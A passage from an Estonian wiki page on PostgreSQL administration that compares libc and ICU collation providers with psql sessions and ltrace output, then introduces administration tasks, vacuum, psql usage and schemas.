-[ RECORD 5 ]-------&lt;br /&gt;
username | Sébastien&lt;br /&gt;
-[ RECORD 6 ]-------&lt;br /&gt;
username | Zernask&lt;br /&gt;
-[ RECORD 7 ]-------&lt;br /&gt;
username | Škerin&lt;br /&gt;
&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# CREATE INDEX idx_users ON users (username);&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# CREATE INDEX idx_users_en ON users (username COLLATE &amp;quot;en_US.utf8&amp;quot;);&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# CREATE INDEX idx_users_c ON users (username COLLATE &amp;quot;C.utf8&amp;quot;);&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Näide&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres=# CREATE DATABASE db_imretest_libc_en_us_utf_8 LOCALE_PROVIDER = 'libc' LC_COLLATE = 'en_US.UTF-8' LC_CTYPE = 'en_US.UTF-8';&lt;br /&gt;
postgres=# CREATE DATABASE db_imretest_libc_et_ee_utf_8 LOCALE_PROVIDER = 'libc' LC_COLLATE = 'et_EE.UTF-8' LC_CTYPE = 'et_EE.UTF-8' template=template0;&lt;br /&gt;
&lt;br /&gt;
postgres=# \c db_imretest_libc_en_us_utf_8;&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# CREATE TABLE users (&lt;br /&gt;
    id SERIAL PRIMARY KEY,&lt;br /&gt;
    username VARCHAR(100) NOT NULL&lt;br /&gt;
);&lt;br /&gt;
CREATE TABLE&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# INSERT INTO users (username) VALUES&lt;br /&gt;
('Zernask'),&lt;br /&gt;
('Škerin'),&lt;br /&gt;
('Smirnov'),&lt;br /&gt;
('Sébastien'),&lt;br /&gt;
('Sebastien'),&lt;br /&gt;
('Müller'),&lt;br /&gt;
('Muller');&lt;br /&gt;
&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# \c db_imretest_libc_et_ee_utf_8;&lt;br /&gt;
You are now connected to database &amp;quot;db_imretest_libc_et_ee_utf_8&amp;quot; as user &amp;quot;postgres&amp;quot;.&lt;br /&gt;
db_imretest_libc_et_ee_utf_8=# CREATE TABLE users (&lt;br /&gt;
    id SERIAL PRIMARY KEY,&lt;br /&gt;
    username VARCHAR(100) NOT NULL&lt;br /&gt;
);&lt;br /&gt;
CREATE TABLE&lt;br /&gt;
db_imretest_libc_et_ee_utf_8=# INSERT INTO users (username) VALUES&lt;br /&gt;
('Zernask'),&lt;br /&gt;
('Škerin'),&lt;br /&gt;
('Smirnov'),&lt;br /&gt;
('Sébastien'),&lt;br /&gt;
('Sebastien'),&lt;br /&gt;
('Müller'),&lt;br /&gt;
('Muller');&lt;br /&gt;
INSERT 0 7&lt;br /&gt;
&lt;br /&gt;
db_imretest_libc_et_ee_utf_8=# SELECT username FROM users ORDER BY username;&lt;br /&gt;
 username&lt;br /&gt;
-----------&lt;br /&gt;
 Muller&lt;br /&gt;
 Müller&lt;br /&gt;
 Sebastien&lt;br /&gt;
 Sébastien&lt;br /&gt;
 Smirnov&lt;br /&gt;
 Škerin&lt;br /&gt;
 Zernask&lt;br /&gt;
(7 rows)&lt;br /&gt;
&lt;br /&gt;
db_imretest_libc_et_ee_utf_8=# \c db_imretest_libc_en_us_utf_8;&lt;br /&gt;
You are now connected to database &amp;quot;db_imretest_libc_en_us_utf_8&amp;quot; as user &amp;quot;postgres&amp;quot;.&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# SELECT username FROM users ORDER BY username;&lt;br /&gt;
 username&lt;br /&gt;
-----------&lt;br /&gt;
 Muller&lt;br /&gt;
 Müller&lt;br /&gt;
 Sebastien&lt;br /&gt;
 Sébastien&lt;br /&gt;
 Škerin&lt;br /&gt;
 Smirnov&lt;br /&gt;
 Zernask&lt;br /&gt;
(7 rows)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===locale provider - icu===&lt;br /&gt;
&lt;br /&gt;
====Mõisted====&lt;br /&gt;
&lt;br /&gt;
* ICU - International Components for Unicode&lt;br /&gt;
* CLRD - Common Locale Data Repository&lt;br /&gt;
&lt;br /&gt;
Misc&lt;br /&gt;
&lt;br /&gt;
* collate - ei ole väga tavakõne sõna inglise keeles, aga tähendab järjestamist, organiseerimist jms&lt;br /&gt;
* lc_collate ja lc_ctype puudutavad füüsiliselt on-disk andmeid&lt;br /&gt;
* lc_messages, lc_monetary, lc_numeric, lc_time - on on-fly teisendused&lt;br /&gt;
&lt;br /&gt;
Paketihalduses paistavad asjasse puutuvad sellised paketid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
libicu72 - Debian v. 12&lt;br /&gt;
libicu76 - Debian v. 13&lt;br /&gt;
libicu70 - Ubuntu 22.04&lt;br /&gt;
libicu74 - Ubuntu 24.04&lt;br /&gt;
libicu78 - Ubuntu 26.04&lt;br /&gt;
postgresql-17-icu-ext - Debian v. 13 non-pgdg&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Kasutamine====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ns-pg-01:~# cat /etc/postgresql-common/createcluster.d/moraal.conf&lt;br /&gt;
initdb_options = '--data-checksums --locale-provider=icu --icu-locale=en-US'&lt;br /&gt;
create_main_cluster = false&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tulemusena&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres@ns-pg-01:~$ psql&lt;br /&gt;
psql (16.14 (Ubuntu 16.14-1.pgdg26.04+1))&lt;br /&gt;
Type &amp;quot;help&amp;quot; for help.&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
postgres=# CREATE DATABASE db_pdns owner=pdns;&lt;br /&gt;
postgres=# CREATE DATABASE db_pda owner=pda;&lt;br /&gt;
&lt;br /&gt;
postgres=# \l&lt;br /&gt;
                                                       List of databases&lt;br /&gt;
   Name    |  Owner   | Encoding | Locale Provider |   Collate   |    Ctype    | ICU Locale | ICU Rules |   Access privileges&lt;br /&gt;
-----------+----------+----------+-----------------+-------------+-------------+------------+-----------+-----------------------&lt;br /&gt;
 db_pda    | pda      | UTF8     | icu             | en_US.UTF-8 | en_US.UTF-8 | en-US      |           |&lt;br /&gt;
 db_pdns   | pdns     | UTF8     | icu             | en_US.UTF-8 | en_US.UTF-8 | en-US      |           |&lt;br /&gt;
 postgres  | postgres | UTF8     | icu             | en_US.UTF-8 | en_US.UTF-8 | en-US      |           |&lt;br /&gt;
 template0 | postgres | UTF8     | icu             | en_US.UTF-8 | en_US.UTF-8 | en-US      |           | =c/postgres          +&lt;br /&gt;
           |          |          |                 |             |             |            |           | postgres=CTc/postgres&lt;br /&gt;
 template1 | postgres | UTF8     | icu             | en_US.UTF-8 | en_US.UTF-8 | en-US      |           | =c/postgres          +&lt;br /&gt;
           |          |          |                 |             |             |            |           | postgres=CTc/postgres&lt;br /&gt;
(5 rows)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* kõik andmebaasid/templated/jne kasutavad ühetaoliselt 'locale provider' icu&lt;br /&gt;
&lt;br /&gt;
====Misc====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres=# \dOS+&lt;br /&gt;
                                                                                      List of collations&lt;br /&gt;
   Schema   |          Name          | Provider |  Collate   |   Ctype    |      Locale      | ICU Rules | Deterministic? | Description&lt;br /&gt;
------------+------------------------+----------+------------+------------+------------------+-----------+----------------+--------------------------&lt;br /&gt;
 pg_catalog | C                      | libc     | C          | C          |                  |           | yes            | standard C collation&lt;br /&gt;
 pg_catalog | C.utf8                 | libc     | C.utf8     | C.utf8     |                  |           | yes            |&lt;br /&gt;
 pg_catalog | POSIX                  | libc     | POSIX      | POSIX      |                  |           | yes            | standard POSIX collation&lt;br /&gt;
 pg_catalog | af-NA-x-icu            | icu      |            |            | af-NA            |           | yes            | Afrikaans (Namibia)&lt;br /&gt;
 pg_catalog | af-ZA-x-icu            | icu      |            |            | af-ZA            |           | yes            | Afrikaans (South Africa)&lt;br /&gt;
 pg_catalog | af-x-icu               | icu      |            |            | af               |           | yes            | Afrikaans&lt;br /&gt;
 pg_catalog | agq-CM-x-icu           | icu      |            |            | agq-CM           |           | yes            | Aghem (Cameroon)&lt;br /&gt;
 pg_catalog | agq-x-icu              | icu      |            |            | agq              |           | yes            | Aghem&lt;br /&gt;
 pg_catalog | ak-GH-x-icu            | icu      |            |            | ak-GH            |           | yes            | Akan (Ghana)&lt;br /&gt;
 pg_catalog | ak-x-icu               | icu      |            |            | ak               |           | yes            | Akan&lt;br /&gt;
 pg_catalog | am-ET-x-icu            | icu      |            |            | am-ET            |           | yes            | Amharic (Ethiopia)&lt;br /&gt;
 pg_catalog | am-x-icu               | icu      |            |            | am               |           | yes            | Amharic&lt;br /&gt;
 pg_catalog | ar-001-x-icu           | icu      |            |            | ar-001           |           | yes            | Arabic (world)&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres@ph-minio-01:~$ psql&lt;br /&gt;
psql (17.9 (Debian 17.9-0+deb13u1))&lt;br /&gt;
Type &amp;quot;help&amp;quot; for help.&lt;br /&gt;
&lt;br /&gt;
postgres=# \l+&lt;br /&gt;
                                                                                       List of databases&lt;br /&gt;
   Name    |  Owner   | Encoding | Locale Provider |   Collate   |    Ctype    | Locale | ICU Rules |   Access privileges   |  Size   | Tablespace |                Description&lt;br /&gt;
-----------+----------+----------+-----------------+-------------+-------------+--------+-----------+-----------------------+---------+------------+--------------------------------------------&lt;br /&gt;
 postgres  | postgres | UTF8     | libc            | en_US.UTF-8 | en_US.UTF-8 |        |           |                       | 894 MB  | pg_default | default administrative connection database&lt;br /&gt;
 template0 | postgres | UTF8     | libc            | en_US.UTF-8 | en_US.UTF-8 |        |           | =c/postgres          +| 7353 kB | pg_default | unmodifiable empty database&lt;br /&gt;
           |          |          |                 |             |             |        |           | postgres=CTc/postgres |         |            |&lt;br /&gt;
 template1 | postgres | UTF8     | libc            | en_US.UTF-8 | en_US.UTF-8 |        |           | =c/postgres          +| 7425 kB | pg_default | default template for new databases&lt;br /&gt;
           |          |          |                 |             |             |        |           | postgres=CTc/postgres |         |            |&lt;br /&gt;
(3 rows)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Uuemal ajal seadistustes puuduvad lc_ctype ja lc_collate (alatest v. 16)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres@ph-minio-01:~$ psql -c &amp;quot;SHOW ALL&amp;quot; | grep lc_&lt;br /&gt;
 lc_messages                                 | en_US.UTF-8                             | Sets the language in which messages are displayed.&lt;br /&gt;
 lc_monetary                                 | en_US.UTF-8                             | Sets the locale for formatting monetary amounts.&lt;br /&gt;
 lc_numeric                                  | en_US.UTF-8                             | Sets the locale for formatting numbers.&lt;br /&gt;
 lc_time                                     | en_US.UTF-8                             | Sets the locale for formatting date and time values.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Järjestused, 'locale provider = icu' ja 'icu locale = und' 'create database' moodustamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# CREATE DATABASE db_imretest_02&lt;br /&gt;
    WITH&lt;br /&gt;
    LOCALE_PROVIDER = 'icu'&lt;br /&gt;
    ICU_LOCALE = 'und'  -- The universal Unicode Root Locale!&lt;br /&gt;
    TEMPLATE = template0;&lt;br /&gt;
CREATE DATABASE&lt;br /&gt;
#&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
postgresql icu extension kasutamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
db_imretest_02=# create extension icu_ext;&lt;br /&gt;
CREATE EXTENSION&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=# SELECT icu_number_spellout(1250.50, 'et');&lt;br /&gt;
           icu_number_spellout&lt;br /&gt;
------------------------------------------&lt;br /&gt;
 üks tuhat kakssada viiskümmend koma viis&lt;br /&gt;
(1 row)&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=# SELECT icu_format_datetime(now(), '{full}', 'et');&lt;br /&gt;
                     icu_format_datetime&lt;br /&gt;
-------------------------------------------------------------&lt;br /&gt;
 pühapäev, 14. juuni 2026, kell 14:52:41 Ida-Euroopa suveaeg&lt;br /&gt;
(1 row)&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=#&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tabeliga järjestusega töötamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
db_imretest_02=# CREATE TABLE users (&lt;br /&gt;
    id SERIAL PRIMARY KEY,&lt;br /&gt;
    username VARCHAR(100) NOT NULL&lt;br /&gt;
);&lt;br /&gt;
CREATE TABLE&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=# INSERT INTO users (username) VALUES&lt;br /&gt;
('Zernask'),&lt;br /&gt;
('Škerin'),&lt;br /&gt;
('Smirnov'),&lt;br /&gt;
('Sébastien'),&lt;br /&gt;
('Sebastien'),&lt;br /&gt;
('Müller'),&lt;br /&gt;
('Muller');&lt;br /&gt;
INSERT 0 7&lt;br /&gt;
db_imretest_02=#&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=# SELECT username FROM users ORDER BY username COLLATE &amp;quot;et-EE-x-icu&amp;quot;;&lt;br /&gt;
 username&lt;br /&gt;
-----------&lt;br /&gt;
 Muller&lt;br /&gt;
 Müller&lt;br /&gt;
 Sebastien&lt;br /&gt;
 Sébastien&lt;br /&gt;
 Smirnov&lt;br /&gt;
 Škerin&lt;br /&gt;
 Zernask&lt;br /&gt;
(7 rows)&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=# SELECT username FROM users ORDER BY username COLLATE &amp;quot;fr-FR-x-icu&amp;quot;;&lt;br /&gt;
 username&lt;br /&gt;
-----------&lt;br /&gt;
 Muller&lt;br /&gt;
 Müller&lt;br /&gt;
 Sebastien&lt;br /&gt;
 Sébastien&lt;br /&gt;
 Škerin&lt;br /&gt;
 Smirnov&lt;br /&gt;
 Zernask&lt;br /&gt;
(7 rows)&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=# CREATE INDEX idx_users_universal ON users (username);&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
db_imretest_02=# CREATE INDEX idx_users_estonian ON users (username COLLATE &amp;quot;et-EE-x-icu&amp;quot;);&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
db_imretest_02=# CREATE INDEX idx_users_french ON users (username COLLATE &amp;quot;fr-FR-x-icu&amp;quot;);&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=# \di&lt;br /&gt;
                    List of relations&lt;br /&gt;
 Schema |        Name         | Type  |  Owner   | Table&lt;br /&gt;
--------+---------------------+-------+----------+-------&lt;br /&gt;
 public | idx_users_estonian  | index | postgres | users&lt;br /&gt;
 public | idx_users_french    | index | postgres | users&lt;br /&gt;
 public | idx_users_universal | index | postgres | users&lt;br /&gt;
 public | users_pkey          | index | postgres | users&lt;br /&gt;
(4 rows)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
libc põhise ja icu põhise lahenduse function-library call esitamine, illustreerimaks kui päring mis esitatakse on default&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# SELECT username FROM users ORDER BY username;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# ps U postgres&lt;br /&gt;
    PID TTY      STAT   TIME COMMAND&lt;br /&gt;
    755 ?        Ss     0:00 /usr/lib/postgresql/17/bin/postgres -D /var/lib/postgresql/17/main -c config_file=/etc/postgresql/17/main/postgre&lt;br /&gt;
    818 ?        Ss     0:00 postgres: 17/main: checkpointer&lt;br /&gt;
    819 ?        Ss     0:02 postgres: 17/main: background writer&lt;br /&gt;
    852 ?        Ss     0:03 postgres: 17/main: walwriter&lt;br /&gt;
    853 ?        Ss     0:00 postgres: 17/main: autovacuum launcher&lt;br /&gt;
    854 ?        Ss     0:00 postgres: 17/main: logical replication launcher&lt;br /&gt;
   7704 pts/0    S      0:00 -bash&lt;br /&gt;
   7707 pts/0    S+     0:00 /usr/lib/postgresql/17/bin/psql&lt;br /&gt;
   7918 ?        Ss     0:00 postgres: 17/main: postgres db_imretest_01 [local] idle&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~# ltrace -f -p 7918 2&amp;gt;&amp;amp;1 | grep --line-buffered strcoll&lt;br /&gt;
&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Zernask&amp;quot;, &amp;quot;\305\240kerin&amp;quot;)   = 1&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;\305\240kerin&amp;quot;, &amp;quot;S\303\251bastien&amp;quot;) = 69&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Muller&amp;quot;, &amp;quot;S\303\251bastien&amp;quot;) = -2&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Smirnov&amp;quot;, &amp;quot;S\303\251bastien&amp;quot;) = 69&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;M\303\274ller&amp;quot;, &amp;quot;S\303\251bastien&amp;quot;) = -2&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Zernask&amp;quot;, &amp;quot;S\303\251bastien&amp;quot;) = 1&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Sebastien&amp;quot;, &amp;quot;S\303\251bastien&amp;quot;) = -4&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Sebastien&amp;quot;, &amp;quot;Muller&amp;quot;)        = 2&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Sebastien&amp;quot;, &amp;quot;M\303\274ller&amp;quot;) = 2&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Muller&amp;quot;, &amp;quot;M\303\274ller&amp;quot;)    = -11&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Zernask&amp;quot;, &amp;quot;Smirnov&amp;quot;)         = 1&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Zernask&amp;quot;, &amp;quot;\305\240kerin&amp;quot;)   = 1&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Smirnov&amp;quot;, &amp;quot;\305\240kerin&amp;quot;)   = 30&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~#&lt;br /&gt;
root@ph-minio-01:~# ps U postgres&lt;br /&gt;
    PID TTY      STAT   TIME COMMAND&lt;br /&gt;
    755 ?        Ss     0:00 /usr/lib/postgresql/17/bin/postgres -D /var/lib/postgresql/17/main -c config_file=/etc/postgresql/17/main/postgre&lt;br /&gt;
    818 ?        Ss     0:00 postgres: 17/main: checkpointer&lt;br /&gt;
    819 ?        Ss     0:02 postgres: 17/main: background writer&lt;br /&gt;
    852 ?        Ss     0:03 postgres: 17/main: walwriter&lt;br /&gt;
    853 ?        Ss     0:00 postgres: 17/main: autovacuum launcher&lt;br /&gt;
    854 ?        Ss     0:00 postgres: 17/main: logical replication launcher&lt;br /&gt;
   7704 pts/0    S      0:00 -bash&lt;br /&gt;
   7707 pts/0    S+     0:00 /usr/lib/postgresql/17/bin/psql&lt;br /&gt;
   7935 ?        Ss     0:00 postgres: 17/main: postgres db_imretest_02 [local] idle&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~# ltrace -f -p 7935 2&amp;gt;&amp;amp;1 | grep --line-buffered strcoll&lt;br /&gt;
[pid 7935] ucol_strcollUTF8_76(0x55c2fcb7aec0, 0x55c2fcc332a0, 0xffffffff, 0x55c2fcc336a8) = 0xffffffff&lt;br /&gt;
^C&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* libc põhisel juhtumil esitatakse mitu 'strcoll' library call'i&lt;br /&gt;
* icu põhisel juhtumil esitatakse üks 'ucol_strcollUTF8_76' library call (sisemiselt küll tehakse seal mitmeid call'isid)&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://www.postgresql.org/docs/current/collation.html&lt;br /&gt;
* https://icu.unicode.org/&lt;br /&gt;
* https://www.cybertec-postgresql.com/en/icu-collations-against-postgresql-data-corruption/&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* [[:PostgreSQL]]&lt;br /&gt;
* [[:Nagiose kasutamine Debian Lenniga]]&lt;br /&gt;
* https://github.com/omniti-labs/pg_extractor&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=PostgreSQL_haldamine&amp;diff=4219</id>
		<title>PostgreSQL haldamine</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=PostgreSQL_haldamine&amp;diff=4219"/>
		<updated>2026-06-15T15:35:50Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* locale provider - icu */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
PostgreSQL andmebaasi haldamise eesmärgiks on tagada korrektselt tootav andmebaasiteenus, mida saavad kasutajad ja rakendused kasutada. PostgreSQL andmebaasi haldamine sisaldab sisaldab üldiselt selliseid tegevusi&lt;br /&gt;
&lt;br /&gt;
* Andmebaasi tarkvara paigaldamine süsteemi&lt;br /&gt;
* Süsteemi paigaldatud andmebaasi tarkvara veaparanduste rakendamine&lt;br /&gt;
* Süsteemi paigaldatud andmebaasi tarkvara versiooniuuenduste sooritamine&lt;br /&gt;
* Andmabaasile kasutajate ja rakenduse jaoks ligipääsude tegemine&lt;br /&gt;
* Andmebaasi vakumeerimine&lt;br /&gt;
* Andmebaasist või selle osadest arhiivifaili moodustamine ja sellise arhiivifaili kasutamine&lt;br /&gt;
* Andmebaasi varundamine ja taaste&lt;br /&gt;
* Andmebaasi tarkvara eemaldamine süsteemist&lt;br /&gt;
&lt;br /&gt;
Osa neist tegevustest on Kuutõrvajas käsitletetud eraldi tekstides.&lt;br /&gt;
&lt;br /&gt;
Andmebaasi haldamise alla ei kuulu t andmebaasi kasutamisega seotud küsimused, kuigi tehniliselt võib saada kasutada samu instrumente nii kasutamise kui haldusprotseduuride soovitamiseks, nt programm psql.&lt;br /&gt;
&lt;br /&gt;
Lisaks haldusprotseduuride endile kirjeldatakse käesolevas tekstis ka nt PostgreSQL andmebaasi objektide hierariat ja privileegisüsteemi, samuti, kuidas saada vastuseid haldamise seisukohalt olulistele küsimustele, nt milline on tabeli või andmebaasi suurus MBaitides.&lt;br /&gt;
&lt;br /&gt;
===Tööpõhimõte===&lt;br /&gt;
&lt;br /&gt;
* commit kirjutab muudatuse wal logifaili&lt;br /&gt;
* checkpoint kirjutab muudatused andmefailidesse&lt;br /&gt;
&lt;br /&gt;
Vastaku ühe tabeli mingitele ridadele kolm 8k suurust page't base kataloogi all mingis failis; kui parasjagu baas nendega töötab, sh muudab, siis võiks nii öelda, et neist on olemas kolm eksemplari, kõik tõenäoliselt vähemalt mingitel hetkedel mingis osas erinevad üksteisest&lt;br /&gt;
&lt;br /&gt;
* base kataloogi alla nn data failides&lt;br /&gt;
* shared buffers mälus&lt;br /&gt;
* wal logi kataloogis failides&lt;br /&gt;
&lt;br /&gt;
Andmebaasi mootori üks vastutus seisneb selles, et ta oma dirty, commit, checkpoint jt vahenditega töötab andmetega ja sedasi, et mis iganes hetkel võib juhtuda crash, ikkagi pärast seda kõige hullem, mis juhtub, et keritakse mingi hulk muudatusi tagasi, kuid andmed on siiski kooskõlalised.&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* autovacuum - tabeli ridadega toimunud update ja delete muudatused tekitavad tabelisse 'füüsiliselt' uusi sissekandeid, mille olemasolu on seotud PostgreSQL MVCC süsteemiga, st kui sama reaga tegeles üks kasutaja ja ütles delete, ning samal ajal teine kasutaja luges seda, siis peab baas suutma neid mõlemat kasutust teenindada;   sellel põhjusel kogunevad ühest samast tabeli reast mitmed versioonid, autovacuum tegeleb vanade kasutute versioonide all oleva salvestusressursi uuesti kasutatavaks märkimisega; seejuurus autovacuum ei anna failisüsteemis mahtu tagasi v.a. siis kui tema vabastatavad read asuvad data failide lõpus&lt;br /&gt;
* vacuum full - tabel kopeeritakse sisuliselt ümber ja ruum vabastatakse; ümber kopeerimiseks on vaja sama palju ruumi kui nö mustas tabelis on (st mitte pole vaja lisaks ainult seda ruumi, mis on reaalselt kasutuses); vacuum full saab öelda create database kaupa ja ka tabeli kaupa; vacuum full haldab automaatselt ära indeksid, constraintid jms&lt;br /&gt;
&lt;br /&gt;
===Haldustarkvara===&lt;br /&gt;
&lt;br /&gt;
Andmebaasi haldamiseks sobib kasutada nt selliseid programme&lt;br /&gt;
&lt;br /&gt;
* psql - nt sisaldub paketis postgresql-client-8.3&lt;br /&gt;
* PgAdmin3&lt;br /&gt;
&lt;br /&gt;
===psql utiliidi kasutamine===&lt;br /&gt;
&lt;br /&gt;
psql on andmebaasi interaktiivne terminaliprogramm, mida saab üldiselt kasutada nii andmebaasi pärigute esitamiseks kui haldusprotseduuridele iseloomulike tegevuste sooritamiseks. Järgnevas kirjeldatakse psql kasutamist aktsendiga haldusele.&lt;br /&gt;
&lt;br /&gt;
* Skeemi tabelite nimekirja esitamine&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; \dt priiduskeem.*&lt;br /&gt;
&lt;br /&gt;
ja koos suurustega lisada +&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; \dt+ priiduskeem.*&lt;br /&gt;
&lt;br /&gt;
Väljundi faili salvestamiseks tuleb ette öelda&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; \o /tmp/psql-valjund.txt&lt;br /&gt;
&lt;br /&gt;
===Andmebaasid===&lt;br /&gt;
&lt;br /&gt;
Vaikimisi on kõigil PostgreSQL kasutajatel õigus ühenduda andmebaasiga, kusjuures sealt edasi andmebaasis sisalduvate objektide (skeemid, tabelid, vaated je) kasutamist piiratakse privileegidega. Kui andmebaas on ühe kasutaja oma ja skeem ning skeemis sisalduv teise kasutaja oma, siis esimene kasutaja ei pruugi saada teist skeemi kasutada vaatamata sellele, et ta on vastava andmebaasi omanik.&lt;br /&gt;
&lt;br /&gt;
===Skeemid===&lt;br /&gt;
&lt;br /&gt;
* Võimaldada mitmetele kasutajatel kasutada sama andmebaasi säilitades kasutajate privaatsuse.&lt;br /&gt;
* Korraldada andmebaasi objektid loogilistesse gruppidesse selleks, et andmebaas oleks paremini hallatav&lt;br /&gt;
* Erinevates skeemides saab kasutada samu objektide nimesid&lt;br /&gt;
&lt;br /&gt;
Skeemi moodustamiseks sobib öelda, tavaliselt tekitab nii süsteemi administraator oma kasutajatele skeeme&lt;br /&gt;
&lt;br /&gt;
 CREATE SCHEMA priiduskeem AUTHORIZATION priit;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* priiduskeem - tekitatava skeemi nimi&lt;br /&gt;
* priit - andmebaasi kasutaja (üldisemalt roll)&lt;br /&gt;
&lt;br /&gt;
Skeemide moodustamisel peab nimevalikul arvestama, et pg_ algusega nimede on reserveeritud kasutamiseks pg_catalog skeemis ning kuigi kasutajad saavad neid nimesid ka ise kasutada, kasutab andmebaas vaikimisi süsteemseid objekte kui sellise nimega pöörduda.&lt;br /&gt;
&lt;br /&gt;
Kui andmebaasiga töötades skeemi mitte näidata, siis vaikimisi toimub tegevus&lt;br /&gt;
&lt;br /&gt;
* kasutajanimelises skeemis&lt;br /&gt;
* kasutajanimelise skeemi puudumisel skeemis 'public'; see skeem moodustatakse andmebaasi loomisel automaatselt.&lt;br /&gt;
&lt;br /&gt;
 test=&amp;gt; show search_path;&lt;br /&gt;
   search_path   &lt;br /&gt;
 ----------------&lt;br /&gt;
  &amp;quot;$user&amp;quot;,public&lt;br /&gt;
 (1 row)&lt;br /&gt;
&lt;br /&gt;
Skeemirada töötab sarnaselt tabelile ka muude skeemis sisalduvate objektidega, nt funktsioonid.&lt;br /&gt;
&lt;br /&gt;
Skeemi suhtes on kasutajatel kahe sorti privileege&lt;br /&gt;
&lt;br /&gt;
* usage - skeemis sisalduvate objektide kasutamine&lt;br /&gt;
* create - skeemi objektide tekitamine&lt;br /&gt;
&lt;br /&gt;
